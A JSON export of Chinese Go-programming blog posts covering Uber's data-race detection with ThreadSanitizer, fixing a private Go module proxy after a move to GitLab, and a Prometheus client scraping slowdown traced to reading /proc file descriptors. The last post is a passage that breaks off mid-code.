href=\"https://ebpf.io/\"\u003eeBPF\u003c/a\u003e莫属！\u003c/p\u003e\n\u003cp\u003e2019年以来，除了eBPF技术自身快速演进之外，\u003ca href=\"https://ebpf.io/projects\"\u003e基于eBPF技术的观测(Observability)、安全(Security)和网络(Networking)类项目\u003c/a\u003e如雨后春笋般出现。耳熟能详的的包括：\u003ca href=\"https://cilium.io/\"\u003ecilium\u003c/a\u003e(把eBPF技术带到Kubernetes世界)、\u003ca href=\"https://falco.org/\"\u003eFalco\u003c/a\u003e(云原生安全运行时，Kubernetes威胁检测引擎的事实标准)、\u003ca href=\"https://github.com/facebookincubator/katran\"\u003eKatran\u003c/a\u003e(高性能四层负载均衡器)、\u003ca href=\"https://px.dev/\"\u003epixie\u003c/a\u003e(用于Kubernetes应用程序的可观察性工具)等。\u003c/p\u003e\n\u003cp\u003e今年3月份发布的\u003ca href=\"https://www.thoughtworks.com/content/dam/thoughtworks/documents/radar/2022/03/tr_technology_radar_vol_26_cn.pdf\"\u003ethoughtworks技术雷达第26期\u003c/a\u003e也将eBPF技术放入\u003cstrong\u003e试验\u003c/strong\u003e的象限阶段。\u003c/p\u003e\n\u003cp\u003eeBPF技术火热，但很多童鞋还不知道eBPF技术究竟是什么，能做什么？在这篇文章中，我将带大家简单了解一下什么eBPF内核技术以及如何从头开始用C语言开发一个Hello World级eBPF程序。\u003c/p\u003e","title":"使用C语言从头开发一个Hello World级别的eBPF程序"},{"content":"\n本文永久链接 – https://tonybai.com/2022/06/21/data-race-detection-and-pattern-in-go\nuber，就是那个早早退出中国打车市场的优步，是Go语言早期接纳者，也是Go技术栈的“重度用户”。uber内部的Go代码仓库有5000w+行Go代码，有2100个Go实现的独立服务，这样的Go应用规模在世界范围内估计也是Top3了吧。\nuber不仅用Go，还经常输出它们使用Go的经验与教训，uber工程博客就是这些高质量Go文章的载体，这些文章都值得想“深造”的gopher们反复阅读和体会。\n近期该博客发布了两篇有关Go并发数据竞争的文章，一篇为《Dynamic Data Race Detection in Go Code》，另一篇为《Data Race Patterns in Go》。这两篇文章也源于uber工程师发表在arxiv上的预印版论文《A Study of Real-World Data Races in Golang》。\n感慨一下：不得不佩服国外工程师的这种“下得了厨房，还上得了厅堂”的研发能力，这也是我在团队中为大家树立的目标。\n这里和大家过一下这两篇精简版的博客文章，希望我们都能有收获。\n一. Go内置data race detector 我们知道：并发程序不好开发，更难于调试。并发是问题的滋生地，即便Go内置并发并提供了基于CSP并发模型的并发原语(goroutine、channel和select)，实际证明，现实世界中，Go程序带来的并发问题并没有因此减少(手动允悲)。“没有银弹”再一次应验！\n不过Go核心团队早已意识到了这一点，在Go 1.1版本中就为Go工具增加了race detector，通过在执行go工具命令时加入-race，该detector可以发现程序中因对同一变量的并发访问(至少一个访问是写操作)而引发潜在并发错误的地方。Go标准库也是引入race detector后的受益者。race detector曾帮助Go标准库检测出42个数据竞争问题。\nrace detector基于Google一个团队开发的工具Thread Sanitizer(TSan)(除了thread sanitizer，google还有一堆sanitizer，比如：AddressSanitizer, LeakSanitizer, MemorySanitizer等)。第一版TSan的实现发布于2009年，其使用的检测算法“源于”老牌工具Valgrind。出世后，TSan就帮助Chromium浏览器团队找出近200个潜在的并发问题，不过第一版TSan有一个最大的问题，那就是慢！。\n因为有了成绩，开发团队决定重写TSan，于是就有了v2版本。与V1版本相比，v2版本有几个主要变化：\n编译期注入代码(instrumentation)； 重新实现运行时库，并内置到编译器(LLVM和GCC)中； 除了可以做数据竞争(data race)检测外，还可以检测死锁、加锁状态下的锁释放等问题； 与V1版本相比，v2版本性能提升约20倍； 支持Go语言。 那么TSan v2究竟是怎么工作的呢？我们继续往下看。\n二. ThreadSanitizer v2版本工作原理 根据Thread Sanitizer wiki上对v2版算法的描述，Thread Sanitizer分为两部分：注入代码与运行时库。\n1. 注入代码 第一部分是在编译阶段配合编译器在源码中注入代码。那么在什么位置注入什么代码呢？前面说过Thread Sanitizer会跟踪程序中的每次内存访问，因此TSan会在每次内存访问的地方注入代码，当然下面的情况除外：\n肯定不会出现数据竞争的内存访问 比如：全局常量的读访问、函数中对已被证明不会逃逸到堆上的内存的访问；\n冗余访问：写入某个内存位置之前发生的读操作 … … 那么注入的什么代码呢？下面是一个在函数foo内写内存操作的例子：\n我们看到对地址p的写操作前注入了__tsan_write4函数，函数foo的入口和出口分别注入了__tsan_func_entry和 __tsan_func_exit。而对于需要注入代码的内存读操作，注入代码则是__tsan_read4；原子内存操作使用__tsan_atomic进行注入…。\n2. TSan运行时库 一旦在编译期注入代码完毕，构建出带有TSan的Go程序，那么在Go程序运行阶段，起到数据竞争检测作用的就是Tsan运行时库了。TSan是如何检测到有数据竞争的呢？\nTSan的检测借助了一个称为Shadow Cell的概念。什么是Shadow Cell呢？一个Shadow Cell本身是一个8字节的内存单元，它代表一个对某个内存地址的读/写操作的事件，即每次对某内存块的写或读操作都会生成一个Shadow Cell。显然Shadow Cell作为内存读写事件的记录者，其本身存储了与此事件相关的信息，如下图：\n我们看到，每个Shadow Cell记录了线程ID、时钟时间、操作访问内存的位置(偏移)和长度以及该内存访问事件的操作属性(是否是写操作)。针对每个应用程序的8字节内存，TSan都会对应有一组(N个)Shadow Cell，如下图：\nN可以取2、4和8。N的取值直接影响TSan带来的开销以及data race检测的“精度”。\n3. 检测算法 有了代码注入，也有了记录内存访问事件的Shadow Cell，那么TSan是通过什么逻辑检测data race的呢？我们结合Google大神Dmitry Vyukov在一次speak中举的例子来看一下检测算法是怎么运作的：\n我们以N=8为例(即8个Shadow Cell用于跟踪和校验一个应用的8字节内存块)，下面是初始情况，假设此时尚没有对该8字节应用内存块的读写操作：\n现在，一个线程T1向该块内存的前两个字节进行了写操作，写操作会生成第一个Shadow Cell，如下图所示：\n这里我们结合图中的Shadow Cell说说Pos字段。Pos字段描述的是写/读操作访问的8字节内存单元的起始偏移与长度，比如这里的0:2代表的就是起始字节为第一个字节，长度为2个字节。此时Shadow Cell窗口只有一个Shadow Cell，不存在race的可能。\n接下来，一个线程T2又针对该块内存的后四个字节进行了一次读操作，读操作会生成第二个Shadow Cell，如下图所示：\n此次读操作涉及的字节与第一个Shadow Cell没有交集，不存在data race的可能。\n再接下来，一个线程T3针对该块内存的前四个字节进行了一次写操作，写操作会生成第三个Shadow Cell，如下图所示：\n我们看到T1和T3两个线程对该内存块的访问有重叠区域，且T1为写操作，那么这种情况就有可能存在data race。而TSan的race检测算法本质上就是一个状态机，每当发生一次内存访问，都会走一遍状态机。状态机的逻辑也很简单，就是遍历这块内存对应的Shadow Cell窗口中的所有Cell，用最新的Cell与已存在的Cell逐一比对，如果存在race，则给出warning。\n像这个例子中T1的write与T3的read区域重叠，如果Shallow Cell1的时钟E1没有happens-before Shadow Cell的时钟E3，那么就存在data race的情况。happens-before如何判定，我们可以从tsan的实现中找到端倪：\nhttps://code.woboq.org/gcc/libsanitizer/tsan/tsan_rtl.cc.html static inline bool HappensBefore(Shadow old, ThreadState *thr) { return thr-\u0026gt;clock.get(old.TidWithIgnore()) \u0026gt;= old.epoch(); } 在这个例子中，对应一个8字节应用内存的一组Shadow Cell的数量为N=8，但内存访问是高频事件，因此很快Shadow Cell窗口就会写满，那么新的Shadow Cell存储在哪里呢？在这种情况下，TSan算法会随机删除一个old Shadow Cell，并将新Shadow Cell写入。这也印证了前面提到的：N值的选取会在一定程度上影响到TSan的检测精度。\n好了，初步了解了TSan v2的检测原理后，我们再回到uber的文章，看看uber是在何时部署race检测的。\n三. 何时部署一个动态的Go数据竞争检测器 通过前面对TSan原理的简单描述我们也可以看出，-race带来的数据竞争检测对程序运行性能和开销的影响还是蛮大的。Go官方文档《Data Race Detector》一文中给出使用-race构建的Go程序相较于正常构建的Go程序，运行时其内存开销是后者的5-10倍，执行时间是2-20倍。但我们知道race detector只能在程序运行时才能实施数据竞争问题的检测。因此，Gopher在使用-race都会比较慎重，尤其是在生产环境中。 2013年，Dmitry Vyukov和Andrew Gerrand联合撰写的介绍Go race detector的文章“introducing the go race detector”中也直言：在生产环境一直开着race detector是不实际的。他们推荐两个使用race detector的时机：一个是在测试执行中开启race detector，尤其是集成测试和压力测试场景下；另外一个则是在生产环境下开启race detector，但具体操作是：仅在众多服务实例中保留一个带有race detector的服务实例，但有多少流量打到这个实例上，你自己看着办^_^。\n那么，uber内部是怎么做的呢？前面提到过：uber内部有一个包含5000w+行代码的单一仓库，在这个仓库中有10w+的单元测试用例。uber在部署race detector的时机上遇到两个问题：\n由于-race探测结果的不确定性，使得针对每个pr进行race detect的效果不好。 比如：某个pr存在数据竞争，但race detector执行时没有检测到；后来的没有data race的PR在执行race detect时可能会因前面的pr中的data race而被检测出问题，这就可能影响该pr的顺利合入，影响相关开发人员的效率。\n同时，将已有的5000w+代码中的所有data race情况都找出来本身也是不可能的事情。\nrace detector的开销会影响到SLA(我理解是uber内部的CI流水线也有时间上的SLA(给开发者的承诺)，每个PR跑race detect，可能无法按时跑完)，并且提升硬件成本 针对上述这两个问题，给出的部署策略是“事后检测”，即每隔一段时间，取出一版代码仓库的快照，然后在-race开启的情况下，把所有单元测试用例跑一遍。好吧，似乎没有什么新鲜玩意。很多公司可能都是这么做的。\n发现data race问题，就发报告给相应开发者。这块uber工程师做了一些工作，通过data race检测结果信息找出最可能引入该bug的作者，并将报告发给他。\n不过有一个数据值得大家参考：在没有data race检测的情况下，uber内部跑完所有单元测试的时间p95位数是25分钟，而在启用data race后，这个时间增加了4倍，约为100分钟。\nuber工程师在2021年中旬实施的上述实验，在这一实验过程中，他们找到了产生data race的主要代码模式，后续他们可能会针对这些模式制作静态代码分析工具，以更早、更有效地帮助开发人员捕捉代码中的data race问题。接下来，我们就来看看这些代码模式。\n四. 常见的数据竞争模式都有哪些 uber工程师总结了7类数据竞争模式，我们逐一看一下。\n1. 闭包的“锅” Go语言原生提供了对闭包(closure)的支持。在Go语言中，闭包就是函数字面值。闭包可以引用其包裹函数(surrounding function)中定义的变量。然后，这些变量在包裹函数和函数字面值之间共享，只要它们可以被访问，这些变量就会继续存在。\n不过不知道大家是否意识到了Go闭包对其包裹函数中的变量的捕捉方式都是通过引用的方式。而不像C++等语言那样可以选择通过值方式(by value)还是引用方式(by reference)进行捕捉。引用的捕捉方式意味着一旦闭包在一个新的goroutine中执行，那么两个goroutine对被捕捉的变量的访问就很大可能形成数据竞争。“不巧的”的是在Go中闭包常被用来作为一个goroutine的执行函数。\nuber文章中给出了三个与这种无差别的通过引用方式对变量的捕捉方式导致的数据竞争模式的例子：\n例子1 这第一个例子中，每次循环都基于一个闭包函数创建一个新的goroutine，这些goroutine都捕捉了外面的循环变量job，这就在多个goroutine之间建立起对job的竞争态势。\n例子2 例子2中闭包与变量声明作用域的结合共同造就了新goroutine中的err变量就是外部Foo函数的返回值err。这就会造成err值成为两个goroutine竞争的“焦点”。\n例子3 例子3中，具名返回值变量result被作为新goroutine执行函数的闭包所捕获，导致了两个goroutine在result这个变量上产生数据竞争。\n2. 切片的“锅” 切片是Go内置的复合数据类型，与传统数组相比，切片具备动态扩容的能力，并且在传递时传递的是“切片描述符”，开销小且固定，这让其在Go语言中得到了广泛的应用。但灵活的同时，切片也是Go语言中“挖坑”最多的数据类型之一，大家在使用切片时务必认真细致，稍不留神就可能犯错。\n下面是一个在切片变量上形成数据竞争的例子：\n从这份代码来看，开发人员虽然对被捕捉的切片变量myResults通过mutex做了同步，但在后面创建新goroutine时，在传入切片时却因没有使用mutex保护。不过例子代码似乎有问题，传入的myResults似乎没有额外的使用。\n3. map的“锅” map是Go另外一个最常用的内置复合数据类型， 对于go入学者而言，由map导致的问题可能仅次于切片。go map并非goroutine-safe的，go禁止对map变量的并发读写。但由于是内置hash表类型，map在go编程中得到了十分广泛的应用。\n上面例子就是一个并发读写map的例子，不过与slice不同，go在map实现中内置了对并发读写的检测，即便不加入-race，一旦发现也会抛出panic。\n4. 误传值惹的祸 Go推荐使用传值语义，因为它简化了逃逸分析，并使变量有更好的机会被分配到栈中，从而减少GC的压力。但有些类型是不能通过传值方式传递的，比如下面例子中的sync.Mutex：\nsync.Mutex是一个零值可用的类型，我们无需做任何初始赋值即可使用Mutex实例。但Mutex类型有内部状态的：\n通过传值方式会导致状态拷贝，失去了在多个goroutine间同步数据访问的作用，就像上面例子中的Mutex类型变量m那样。\n5. 误用消息传递(channel)与共享内存 Go采用CSP的并发模型，而channel类型充当goroutine间的通信机制。虽然相对于共享内存，CSP并发模型更为高级，但从实际来看，在对CSP模型理解不到位的情况下，使用channel时也十分易错。\n这个例子中的问题在于Start函数启动的goroutine可能阻塞在f.ch的send操作上。因为，一旦ctx cancel了，Wait就会退出，此时没有goroutine再在f.ch上阻塞读，这将导致Start函数启动的新goroutine可能阻塞在“f.ch \u0026lt;- 1”这一行上。\n大家也可以看到，像这样的问题很细微，如果不细致分析，很难肉眼识别出来。\n6. sync.WaitGroup误用导致data race问题 sync.WaitGroup是Go并发程序常用的用于等待一组goroutine退出的机制。它通过Add和Done方法实现内部计数的调整。而Wait方法用于等待，直到内部计数器为0才会返回。不过像下面例子中的对WaitGroup的误用会导致data race问题：\n我们看到例子中的代码将wg.Add(1)放在了goroutine执行的函数中了，而没有像正确方法那样，将Add(1)放在goroutine创建启动之前，这就导致了对WaitGroup内部计数器形成了数据竞争，很可能因goroutine调度问题，是的Add(1)在未来得及调用，从而导致Wait提前返回。\n下面这个例子则是由于defer函数在函数返回时的执行顺序问题，导致两个goroutine在locationErr这个变量上形成数据竞争：\nmain goroutine在判断locationErr是否为nil的时候，另一个goroutine中的doCleanup可能执行，也可能没有执行。\n7. 并行的表驱动测试可能引发数据竞争 Go内置单测框架，并支持并行测试(testing.T.Parallel())。但如若使用并行测试，则极其容易导致数据竞争问题，原文没有给出例子，这个大家自行体会吧。\n五. 小结 关于data race的代码模式，在uber发布这两篇文章之前，也有一些资料对数据竞争问题的代码模式进行了分类整理，比如下面两个资源，大家可以参照着看。\n《Data Race Detector》- https://go.dev/doc/articles/race_detector 《ThreadSanitizer Popular Data Races》- https://github.com/google/sanitizers/wiki/ThreadSanitizerPopularDataRaces中的模式 在刚刚发布的Go 1.19beta1版本中提到，最新的-race升级到了TSan v3版本，race检测性能相对于上一版将提升1.5倍-2倍，内存开销减半，并且没有对goroutine的数量的上限限制。\n注：Go要使用-race，则必须启用CGO。\n// runtime/race.go //go:nosplit func raceinit() (gctx, pctx uintptr) { // cgo is required to initialize libc, which is used by race runtime if !iscgo { throw(\u0026quot;raceinit: race build must use cgo\u0026quot;) } ... ... } 六. 参考资料 “Finding races and memory errors with compiler instrumentation” – http://gcc.gnu.org/wiki/cauldron2012?action=AttachFile\u0026amp;do=get\u0026amp;target=kcc.pdf 《Race detection and more with ThreadSanitizer 2》 – https://lwn.net/Articles/598486/ 《Google ThreadSanitizer — 排查多线程问题data race的大杀器》- https://zhuanlan.zhihu.com/p/139000777 《Introducing the Go Race Detector》- https://go.dev/blog/race-detector ThreadSanitizer Algorithm V2 – https://github.com/google/sanitizers/wiki/ThreadSanitizerAlgorithm paper: FastTrack: Efficient and Precise Dynamic Race Detection – https://users.soe.ucsc.edu/~cormac/papers/pldi09.pdf paper: Eraser: A Dynamic Data Race Detector for Multithreaded Programs – https://homes.cs.washington.edu/~tom/pubs/eraser.pdf “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/06/21/data-race-detection-and-pattern-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/data-race-detection-and-pattern-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/06/21/data-race-detection-and-pattern-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/06/21/data-race-detection-and-pattern-in-go\"\u003ehttps://tonybai.com/2022/06/21/data-race-detection-and-pattern-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003euber，就是那个早早退出中国打车市场的优步，是Go语言早期接纳者，也是Go技术栈的“重度用户”。\u003ca href=\"https://eng.uber.com/data-race-patterns-in-go/\"\u003euber内部的Go代码仓库有5000w+行Go代码\u003c/a\u003e，有2100个Go实现的独立服务，这样的Go应用规模在世界范围内估计也是Top3了吧。\u003c/p\u003e\n\u003cp\u003euber不仅用Go，还经常输出它们使用Go的经验与教训，\u003ca href=\"https://eng.uber.com/\"\u003euber工程博客\u003c/a\u003e就是这些高质量Go文章的载体，这些文章都值得想“深造”的gopher们反复阅读和体会。\u003c/p\u003e","title":"Go语言数据竞争检测与数据竞争模式"},{"content":"\n本文永久链接 – https://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2\n自从去年在公司搭建了内部私有Go module proxy后，我们的私有代理工作得基本良好。按理说，这篇续篇本不该存在:)。\n日子一天天过去，Go团队逐渐壮大，空气中都充满了“Go的香气”。\n突然有一天，业务线考虑将目前在用的gerrit换成gitlab。最初使用gerrit的原因不得而知，但我猜是想使用gerrit强大且独特的code review机制和相应的工作流。不过由于业务需求变化太快，每个迭代的功能都很多，“+2”的review机制到后来就形同虚设了。\n如果不用gerrit review工作流，那么gerrit还有什么存在的价值呢。从管理员那边反馈，gerrit配置起来也是比较复杂的，尤其是权限。两者叠加就有了迁移到gitlab的想法。这样摆在Go团队面前的一个事情就是如何让我们内部私有go module代理适配gitlab。\n如果你还不清楚我们搭建私有Go module代理的原理，那么在进一步往下阅读前，请先阅读一下《小厂内部私有Go module拉取方案》。\n适配gitlab 回顾一下我们的私有Go module代理的原理图：\n基于这张原理图，我们分析后得出结论：要适配gitlab仓库，其实很简单，只需修改govanityurls的配置文件中的各个module的真实repo地址即可，这也符合更换一个后端代码仓库服务理论上开发人员无感的原则。\n下面我们在gitlab上创建一个foo repo，其对应的module path为mycompany.com/go/foo。我们使用ssh方式拉取gitlab repo，先将goproxy所在主机的公钥添加到gitlab ssh key中。然后将gitlab clone按钮提示框中给出的clone地址：git@10.10.30.30:go/foo.git填到vanity.yaml文件中：\n//vanity.yaml ... ... /go/foo: repo: ssh://git@10.10.30.30:go/foo.git vcs: git 我门在一台开发机上建立测试程序，该程序导入mycompany.com/go/foo，执行go mod tidy命令的结果如下：\n$go mod tidy go: finding module for package mycompany.com/go/foo demo imports mycompany.com/go/foo: cannot find module providing package mycompany.com/go/foo: module mycompany.com/go/foo: reading http://10.10.20.20:10000/mycompany.com/go/foo/@v/list: 404 Not Found server response: go list -m -json -versions mycompany.com/go/foo@latest: go: mycompany.com/go/foo@latest: unrecognized import path \u0026quot;mycompany.com/go/foo\u0026quot;: http://mycompany.com/go/foo?go-get=1: invalid repo root \u0026quot;ssh://git@10.10.30.30:go/foo.git\u0026quot;: parse \u0026quot;ssh://git@10.10.30.30:go/foo.git\u0026quot;: invalid port \u0026quot;:go\u0026quot; after host 从goproxy返回的response内容来看，似乎是goproxy使用的go命令无法识别：”ssh://git@10.10.30.30:go/foo.git”，认为10.10.30.30后面的分号后面应该接一个端口，而不是go。\n我们将repo换成下面这样的格式：\n/go/foo: repo: ssh://git@10.10.30.30:80/go/foo.git vcs: git 重启govanityurls并重新执行go mod tidy，依旧报错：\n$go mod tidy go: finding module for package mycompany.com/go/foo demo imports mycompany.com/go/foo: cannot find module providing package mycompany.com/go/foo: module mycompany.com/go/foo: reading http://10.10.20.20:10000/mycompany.com/go/foo/@v/list: 404 Not Found server response: go list -m -json -versions mycompany.com/go/foo@latest: go: module mycompany.com/go/foo: git ls-remote -q origin in /root/.bin/goproxycache/pkg/mod/cache/vcs/4d37c02c151342112bd2d7e6cf9c0508b31b8fe1cf27063da6774aa0f53d872f: exit status 128: kex_exchange_identification: Connection closed by remote host fatal: Could not read from remote repository. 直接在主机上通过git clone git@10.10.30.30:80/go/foo.git也是报错的！ssh不行，我们再来试试http方式。 使用http方式呢，每次clone都需要输入用户名密码，不适合goproxy。是时候让personal token上阵了！在gitlab上分配好personal token，然后在本地建立~/.netrc如下：\n# cat ~/.netrc machine 10.10.30.30 login tonybai password [your personal token] 然后我们将vanity.yaml中的repo改为如下形式：\n// vanity.yaml /go/foo: repo: http://10.10.30.30/go/foo.git vcs: git 这样再执行go mod tidy，foo仓库就被顺利拉取了下来。\n答疑 1. git clone错误 在搭建goproxy时，我们通常会在goproxy服务器上手工验证一下是否可以通过git成功拉取私有仓库，如果git clone出现下面错误信息，是什么问题呢？\n$ git clone ssh://tonybai@10.10.30.30:29418/go/common Cloning into 'common'... Unable to negotiate with 10.10.30.30 port 29418: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 这里的错误提示信息其实是很清楚明了的。git服务器端支持diffie-hellman-group1-sha1和diffie-hellman-group14-sha1这两种密钥交换方法，而git客户端却默认一个都不支持。\n怎么解决呢？我们需要在goproxy所在主机增加一个配置.ssh/config：\n// ~/.ssh/config Host 10.10.30.30 HostName 10.10.30.30 User tonybai Port 29418 KexAlgorithms +diffie-hellman-group1-sha1 IdentityFile ~/.ssh/id_rsa 有了这条配置后，我们就可以成功clone。\n2. 使用非安全连接 有些童鞋使用这个方案后会遇到下面问题：\n$go get mycompany.com/go/common@latest go: module mycompany.com/go/common: reading http://10.10.30.30:10000/mycompany.com/go/common/@v/list: 404 Not Found server response: go list -m -json -versions mycompany.com/go/common@latest: go list -m: mycompany.com/go/common@latest: unrecognized import path \u0026quot;mycompany.com/go/common\u0026quot;: https fetch: Get \u0026quot;https://mycompany.com/go/common?go-get=1\u0026quot;: dial tcp 127.0.0.1:443: connect: connection refused 首先，go get得到的服务端响应信息中提示：无法连接127.0.0.1:443，查看goproxy主机的nginx access.log，也无日志。说明goproxy没有发起请求。也就是说问题出在go list命令这块，它为什么要去连127.0.0.1:443？我们的代码服务器使用的可是http而非https方式访问。\n这让我想起了Go 1.14中增加的GOINSECURE，go命令默认采用的是secure方式，即https去访问代码仓库的。如果不要求非得以https获取module，或者即便使用https，也不再对server证书进行校验，那么需要设置GOINSECURE环境变量，比如；\nexport GOINSECURE=\u0026quot;mycompany.com\u0026quot; 这样再获取mycompany.com/…下面的go module时，就不会出现上面的错误了！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-approach-to-go-get-private-go-module-in-house-part2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2\"\u003ehttps://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e自从去年在公司\u003ca href=\"https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\"\u003e搭建了内部私有Go module proxy\u003c/a\u003e后，我们的私有代理工作得基本良好。按理说，这篇续篇本不该存在:)。\u003c/p\u003e\n\u003cp\u003e日子一天天过去，Go团队逐渐壮大，空气中都充满了“Go的香气”。\u003c/p\u003e","title":"小厂内部私有Go module拉取方案（续）"},{"content":"\n本文永久链接 – https://tonybai.com/2022/06/15/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package\n在基于eBPF的新一代观测设施尚未成熟之前，我们采用了业界成熟的Prometheus+Grafana方案采集节点与应用度量指标(metrics)信息。众所周知，这样的方案是一种对应用有侵入的方案，即需要在应用内部嵌入采集度量信息及与Prometheus通信的client包。\nPrometheus官方提供并维护了主流语言的client包，包括Go、Java、Python、Ruby、Rust等，如下图：\nPrometheus的go client端使用起来也不算复杂，总共分两步：\n把你要获取的度量指标注册(Register)到Prometheus的Registry中； 建立起一个HTTP Server，暴露度量指标采集端口即可。 Prometheus采用拉模型(pull)收集时序度量数据，数据拉取行为是由Prometheus服务端来决定的，比如可以设定Prometheus拉取各个采集点的时间周期。 一般来说，这个技术栈已经很成熟，配置完启动后，马上就能看到效果。这个技术栈也很稳定，我们使用后一直运行良好，直到本周压测时遇到一个问题：Prometheus采不到数据了！\n从最初的数据由连续的线变成“断断续续”的点，见下图：\n到后来干脆就无法采到任何数据了：\n之前Prometheus跑的好好的，为什么现在却采不到数据了呢？这次与之前的不同之处在于我们的压测用例情景下，每个服务节点都要建立百万以上的连接，而之前仅仅是10w左右的量级。\n好在我们部署了在线Continuous Profiling工具，可以查看一下压测那段时间的资源占用，如下图：\n上面是一个alloc object的火焰图，我们看到Prometheus client的Registry.Gather方法占了50%的内存分配开销，这是很不正常的。继续沿着Gather函数的火焰图看，我们看到底端居然是readdir。我们应用注册的度量指标也没有哪个采集时需要readdir啊！\n要想解决这个问题只有翻Prometheus client源码了！\n我们使用的是prometheus client端的默认defaultRegistry。 从源码中可以看到：这个defaultRegistry在初始化时，默认注册了两个collector:\n// registry.go func init() { MustRegister(NewProcessCollector(ProcessCollectorOpts{})) MustRegister(NewGoCollector()) } 我们发现：第一个processCollector会采集如下度量指标数据：\n// process_collector.go func (c *processCollector) Describe(ch chan\u0026lt;- *Desc) { ch \u0026lt;- c.cpuTotal ch \u0026lt;- c.openFDs ch \u0026lt;- c.maxFDs ch \u0026lt;- c.vsize ch \u0026lt;- c.maxVsize ch \u0026lt;- c.rss ch \u0026lt;- c.startTime } 在采集openFDs时，processCollector遍历了/proc/{pid}下面的fd目录：\n// process_collector_other.go func (c *processCollector) processCollect(ch chan\u0026lt;- Metric) { pid, err := c.pidFn() if err != nil { c.reportError(ch, nil, err) return } p, err := procfs.NewProc(pid) if err != nil { c.reportError(ch, nil, err) return } if stat, err := p.Stat(); err == nil { ch \u0026lt;- MustNewConstMetric(c.cpuTotal, CounterValue, stat.CPUTime()) ch \u0026lt;- MustNewConstMetric(c.vsize, GaugeValue, float64(stat.VirtualMemory())) ch \u0026lt;- MustNewConstMetric(c.rss, GaugeValue, float64(stat.ResidentMemory())) if startTime, err := stat.StartTime(); err == nil { ch \u0026lt;- MustNewConstMetric(c.startTime, GaugeValue, startTime) } else { c.reportError(ch, c.startTime, err) } } else { c.reportError(ch, nil, err) } if fds, err := p.FileDescriptorsLen(); err == nil { // 这里获取openFDs ch \u0026lt;- MustNewConstMetric(c.openFDs, GaugeValue, float64(fds)) } else { c.reportError(ch, c.openFDs, err) } if limits, err := p.Limits(); err == nil { ch \u0026lt;- MustNewConstMetric(c.maxFDs, GaugeValue, float64(limits.OpenFiles)) ch \u0026lt;- MustNewConstMetric(c.maxVsize, GaugeValue, float64(limits.AddressSpace)) } else { c.reportError(ch, nil, err) } } 采集openFDS时，processCollector调用了FileDescriptorsLen方法，在FileDescriptorsLen方法调用的fileDescriptors方法中，我们找到了对Readdirnames的调用，见下面源码片段：\n// github.com/prometheus/procfs/proc.go // FileDescriptorsLen returns the number of currently open file descriptors of // a process. func (p Proc) FileDescriptorsLen() (int, error) { fds, err := p.fileDescriptors() if err != nil { return 0, err } return len(fds), nil } func (p Proc) fileDescriptors() ([]string, error) { d, err := os.Open(p.path(\u0026quot;fd\u0026quot;)) if err != nil { return nil, err } defer d.Close() names, err := d.Readdirnames(-1) // 